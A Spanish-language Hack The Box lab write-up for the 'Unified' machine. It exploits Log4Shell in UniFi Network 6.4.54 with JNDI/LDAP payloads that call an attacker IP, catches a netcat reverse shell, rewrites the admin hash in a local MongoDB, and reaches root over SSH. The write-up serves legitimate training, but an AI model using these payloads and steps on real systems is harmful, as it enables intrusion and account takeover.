Hack The Box – Unified

HTB - Máquina Unified resuelta
HTB - Máquina Unified resuelta

⭐ Unified – Hack The Box Write-up ⭐

HTB Difficulty OS Category


Propiedad Valor
Dificultad Fácil
SO Linux
IP 10.129.x.x
Categoría Starting Point
Etiquetas UniFi, Log4Shell, CVE-2021-44228, JNDI, LDAP, MongoDB, Reverse Shell, SSH

Resumen

En este laboratorio explotamos una instancia vulnerable de UniFi Network 6.4.54 mediante Log4Shell (CVE-2021-44228).

Tras identificar la vulnerabilidad, utilizamos JNDI/LDAP y RogueJNDI para conseguir ejecución remota de código y obtener una reverse shell como el usuario unifi.

Desde la shell realizamos enumeración interna y descubrimos una instancia de MongoDB ejecutándose localmente en el puerto 27117. La base de datos ace contenía información de los usuarios de UniFi, incluyendo sus hashes de contraseña.

Mediante la función update() de MongoDB modificamos las credenciales del usuario administrador y conseguimos acceder al panel de administración de UniFi.

Finalmente, dentro de Device Authentication, encontramos las credenciales de root, que permitieron acceder mediante SSH y obtener privilegios de root.


Pasos Clave

Enumeración de servicios

MITRE ATT&CK: T1046 – Network Service Scanning
OWASP Top 10: A05:2021 – Security Misconfiguration

Identificación de UniFi Network

Identificación de la aplicación y de la versión 6.4.54.

Explotación de Log4Shell

MITRE ATT&CK: T1190 – Exploit Public-Facing Application
Vulnerabilidad: CVE-2021-44228

JNDI mediante LDAP

Uso de una cadena JNDI para provocar una conexión LDAP hacia el servidor controlado por el atacante.

Reverse Shell

Obtención de acceso remoto como el usuario unifi.

Enumeración de MongoDB

Descubrimiento de MongoDB en 127.0.0.1:27117 y acceso a la base de datos ace.

Manipulación de credenciales

Modificación del hash de contraseña del usuario administrador mediante MongoDB.

Escalada de privilegios

Obtención de las credenciales de root desde el panel de administración de UniFi y acceso mediante SSH.


Flujo del Ataque

  1. Enumeración de puertos y servicios
  2. Identificación de UniFi Network 6.4.54
  3. Identificación de CVE-2021-44228 (Log4Shell)
  4. Explotación mediante JNDI/LDAP
  5. Obtención de una reverse shell
  6. Acceso como usuario unifi
  7. Descubrimiento de MongoDB en el puerto 27117
  8. Enumeración de la base de datos ace
  9. Obtención de los usuarios y hashes
  10. Modificación de las credenciales del administrador
  11. Acceso al panel de administración UniFi
  12. Obtención de las credenciales de Device Authentication
  13. Acceso SSH como root
  14. Obtención de la flag de root

Comprobación de Conectividad

Antes de comenzar la enumeración, comprobamos que la máquina objetivo es accesible:

ping 10.129.x.x

El host responde correctamente. El valor TTL observado es cercano a 64, lo que es consistente con un sistema Linux.


Enumeración

Escaneo de Puertos

Comenzamos realizando un escaneo de todos los puertos TCP:

sudo nmap -sS -p- --min-rate 5000 -Pn 10.129.x.x

El escaneo revela:

22/tcp   open  ssh
6789/tcp open  ibm-db2-admin
8080/tcp open  http-proxy
8443/tcp open  https-alt
8843/tcp open  unknown
8880/tcp open  cddbp-alt

El puerto más interesante es 8443, donde encontramos la interfaz web de UniFi.

 

Descubrimiento de puertos con Nmap
Descubrimiento de puertos con Nmap

Identificación de UniFi

Accedemos al servicio web:

https://10.129.x.x:8443

La aplicación muestra el panel de inicio de sesión de UniFi Network.

Software en el puerto 8443
Software en el puerto 8443

También podemos identificar el título de la aplicación mediante:

curl -k -L https://10.129.x.x:8443 | grep -i "<title>"

El resultado confirma:

<title>UniFi Network</title>

La versión identificada es:

UniFi Network 6.4.54

Obtenemos el título completo con CURL
Obtenemos el título completo con CURL

Identificación de la Vulnerabilidad

La versión de UniFi utilizada en esta máquina es vulnerable a:

CVE-2021-44228
Searching on Google the CVE
Searching on Google the CVE

Esta vulnerabilidad es conocida como Log4Shell y afecta a determinadas versiones de Apache Log4j.

La vulnerabilidad permite que una aplicación vulnerable procese una cadena JNDI especialmente diseñada, provocando una conexión hacia un servidor controlado por el atacante y pudiendo terminar en ejecución remota de código (RCE).

La cadena conceptual utilizada es:

${jndi:ldap://ATTACKER_IP:1389/RESOURCE}

La cadena de explotación puede representarse de la siguiente manera:

UniFi Network
      ↓
   Log4j
      ↓
     JNDI
      ↓
     LDAP
      ↓
   RogueJNDI
      ↓
     RCE
      ↓
Reverse Shell

Vulnerabilidad: CVE-2021-44228
Nombre: Log4Shell
Tipo: Remote Code Execution (RCE)
MITRE ATT&CK: T1190 – Exploit Public-Facing Application


JNDI y LDAP

Una de las preguntas del laboratorio consiste en identificar qué protocolo utiliza JNDI en esta inyección.

La respuesta es:

LDAP

El payload utilizado tiene la siguiente estructura:

${jndi:ldap://10.10.14.116:1389/o=tomcat}

El servidor vulnerable procesa la expresión JNDI y realiza una conexión LDAP hacia nuestro servidor controlado.


Log4jUnifi

Para automatizar la explotación utilizamos el proyecto Log4jUnifi:

https://github.com/puzzlepeaches/Log4jUnifi

Clonamos el repositorio:

git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi

Y accedemos al directorio:

cd Log4jUnifi

El proyecto contiene, entre otros archivos:

exploit.py
requirements.txt
utils/
└── rogue-jndi/

Compilación de RogueJNDI

El exploit necesita el componente RogueJNDI compilado.

Comprobamos Maven:

mvn -version

Desde la raíz del proyecto ejecutamos:

mvn package -f utils/rogue-jndi/

Después de compilar correctamente se genera:

utils/rogue-jndi/target/
├── classes
├── generated-sources
├── maven-archiver
├── maven-status
├── original-RogueJndi-1.1.jar
└── RogueJndi-1.1.jar

Preparación de la Reverse Shell

Comprobamos la interfaz VPN utilizada para conectarnos a Hack The Box:

ip a | grep tun0

La interfaz muestra:

inet 10.10.14.116/23

Por tanto, utilizamos:

10.10.14.116

Preparamos un listener con Netcat:

nc -lvnp 4444

Explotación de Log4Shell

Desde el directorio Log4jUnifi ejecutamos:

python3 exploit.py \
-u https://10.129.x.x:8443 \
-i 10.10.14.116 \
-p 4444

El exploit genera un payload JNDI similar a:

${jndi:ldap://10.10.14.116:1389/o=tomcat}

El exploit muestra:

[*] Starting malicous JNDI Server
[*] Firing payload!
[*] Check for a callback!

Nuestro listener recibe la conexión:

connect to [10.10.14.116] from (UNKNOWN) [10.129.x.x]

Comprobamos el usuario:

whoami
unifi

Hemos obtenido una reverse shell como el usuario unifi.

Nota: El exploit debe ejecutarse desde el directorio Log4jUnifi. Al ejecutarlo desde otro directorio, el script no encontraba correctamente los componentes necesarios.


Enumeración Post-Explotación

Comprobamos nuestro directorio actual:

pwd
/usr/lib/unifi

Comprobamos nuestros privilegios:

id
uid=999(unifi) gid=999(unifi) groups=999(unifi)

El sistema está ejecutando Ubuntu:

uname -a
Linux unified 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64

Obtención de la User Flag

Enumeramos los directorios de /home:

ls /home
michael

Encontramos el directorio del usuario michael.

La flag se encuentra en:

/home/michael/user.txt

La obtenemos con:

cat /home/michael/user.txt
6ced1a6a89e666c0620cdb10262ba127

✅ User Flag obtenida.


Descubrimiento de MongoDB

Buscamos procesos relacionados con MongoDB:

ps aux | grep mongo
Obtenemos el puerto de MongoDB
Obtenemos el puerto de MongoDB

Encontramos:

bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117
--unixSocketPrefix /usr/lib/unifi/run
--bind_ip 127.0.0.1

MongoDB está ejecutándose en:

127.0.0.1:27117

El parámetro importante es:

--port 27117

Además, --bind_ip 127.0.0.1 indica que el servicio solamente está disponible localmente.


Enumeración de MongoDB

Nos conectamos a MongoDB:

mongo --port 27117

Conexión a MongoDB por el puerto 27117
Conexión a MongoDB por el puerto 27117

La versión encontrada es:

MongoDB server version: 3.6.3

Enumeramos las bases de datos:

show dbs
Mostramos las bases de datos
Mostramos las bases de datos

Entre ellas encontramos:

ace
ace_stat
admin
config
local

La base de datos utilizada por UniFi es:

ace

Accedemos a ella:

use ace

Enumeración de Usuarios

La colección admin contiene información de los usuarios de UniFi.

La función utilizada para enumerarlos es:

db.admin.find()
Enumeración de usuarios en MongoDB
Enumeración de usuarios en MongoDB

Entre los campos encontrados se encuentra:

name
email
x_shadow
requires_new_password

Por ejemplo, el usuario administrador contiene un campo x_shadow con un hash de contraseña:

"x_shadow" : "$6$..."

El prefijo $6$ corresponde a un hash basado en SHA-512 crypt.

Obtenemos los usuarios
Obtenemos los usuarios

Modificación de Credenciales

La función utilizada para actualizar documentos en MongoDB es:

update()

Generamos localmente un nuevo hash SHA-512:

mkpasswd -m sha-512 Pass123

El resultado utilizado fue:

$6$qU9fm/ty6zL/VOWY$zWdNy5pw6c6yDTzzhuRetQqoUynbEKxwbbsqzdNpPJkr/Kd6XfRuGhZr78kqJ3RSmc.o4aYSAGCEBHy/rIG.q0
Creamos una pass hasheada
Creamos una pass hasheada

Después modificamos el campo x_shadow del usuario administrador mediante MongoDB.

Una vez actualizado el registro, pudimos autenticarnos en el panel web de UniFi utilizando la nueva contraseña.


Acceso al Panel de Administración

Volvemos a acceder a:

https://10.129.x.x:8443

Utilizamos las credenciales modificadas para acceder al panel de administración.

Iniciamos sesión con la contraseña creada
Iniciamos sesión con la contraseña creada

Dentro de UniFi navegamos hasta:

Settings → Device Authentication

En esta sección encontramos las credenciales utilizadas para la autenticación de dispositivos:

Username: root
Password: [redacted]

Estas credenciales nos permiten intentar acceder al sistema mediante SSH.

Encontramos la contraseña para el usuario root
Encontramos la contraseña para el usuario root

Acceso SSH como Root

El puerto SSH estaba expuesto desde la enumeración inicial:

22/tcp open ssh

Utilizamos las credenciales obtenidas en el panel:

ssh root@10.129.x.x
Nos conectaos via SSH con la contraseña encontrada
Nos conectaos via SSH con la contraseña encontrada

Una vez autenticados:

whoami
root

Hemos conseguido acceso completo al sistema.


Obtención de la Root Flag

La flag se encuentra en el directorio personal de root:

cat /root/root.txt
e50bc93c75b634e4b272d2f771c33681
Obtenemos la flag del usuario root
Obtenemos la flag del usuario root

👑 Root Flag obtenida.

HTB - Máquina Unified resuelta
HTB – Máquina Unified resuelta

Conclusión

Unified demuestra cómo una vulnerabilidad en una aplicación expuesta puede convertirse en un compromiso completo del sistema cuando se combina con una correcta enumeración post-explotación.

El ataque comenzó con la identificación de UniFi Network 6.4.54 y la explotación de Log4Shell (CVE-2021-44228), que permitió obtener una reverse shell como unifi.

Una vez dentro, la enumeración interna permitió descubrir una instancia de MongoDB accesible únicamente desde localhost. La base de datos ace contenía información de autenticación de UniFi.

La modificación del hash del usuario administrador permitió acceder al panel de administración, donde encontramos las credenciales de root. Finalmente, estas credenciales fueron reutilizadas para obtener acceso mediante SSH.

La cadena completa fue:

UniFi Network 6.4.54
        ↓
CVE-2021-44228
        ↓
Log4Shell
        ↓
JNDI / LDAP
        ↓
RogueJNDI
        ↓
Remote Code Execution
        ↓
Reverse Shell
        ↓
unifi
        ↓
MongoDB :27117
        ↓
ace
        ↓
UniFi administrator
        ↓
UniFi Web Panel
        ↓
Device Authentication
        ↓
root credentials
        ↓
SSH
        ↓
root

Lecciones Clave

  • La enumeración de servicios es fundamental antes de comenzar una explotación.
  • Identificar correctamente la versión de una aplicación permite relacionarla con vulnerabilidades conocidas.
  • Log4Shell demuestra el impacto que puede tener una vulnerabilidad en una dependencia de terceros.
  • Una vez obtenida una shell, es importante enumerar también los servicios internos.
  • Las bases de datos de las aplicaciones pueden contener información sensible de autenticación.
  • Las credenciales reutilizadas o almacenadas dentro de aplicaciones pueden convertirse en un vector de escalada.
  • La explotación completa de una máquina normalmente requiere encadenar varias técnicas.

Herramientas Utilizadas

Categoría Herramientas
Reconocimiento ping, nmap, navegador
Enumeración nmap, curl, enumeración manual web, ps
Interceptación Burp Suite
Explotación Log4jUnifi, RogueJNDI, CVE-2021-44228
Acceso Remoto Netcat, SSH
Base de Datos MongoDB Shell
Manipulación de Credenciales MongoDB update(), mkpasswd
Post-Explotación Linux commands, ps, id, ls, cat

Vulnerabilidades y Técnicas

Categoría Referencia
Log4Shell CVE-2021-44228
JNDI / LDAP Injection JNDI Lookup / LDAP
Remote Code Execution MITRE ATT&CK T1190 – Exploit Public-Facing Application
Credential Manipulation MongoDB update()
Valid Accounts Credenciales de root obtenidas desde UniFi
Remote Services SSH

⚠️ Aviso Legal

Este contenido es exclusivamente educativo.

Todas las pruebas descritas fueron realizadas dentro de un laboratorio controlado y autorizado de Hack The Box.

No utilices estas técnicas contra sistemas o infraestructuras sin disponer de autorización explícita.


Máquina completada

User: unifi
Root: root
Vulnerabilidad: CVE-2021-44228 – Log4Shell
Database: MongoDB :27117
Final Access: SSH → root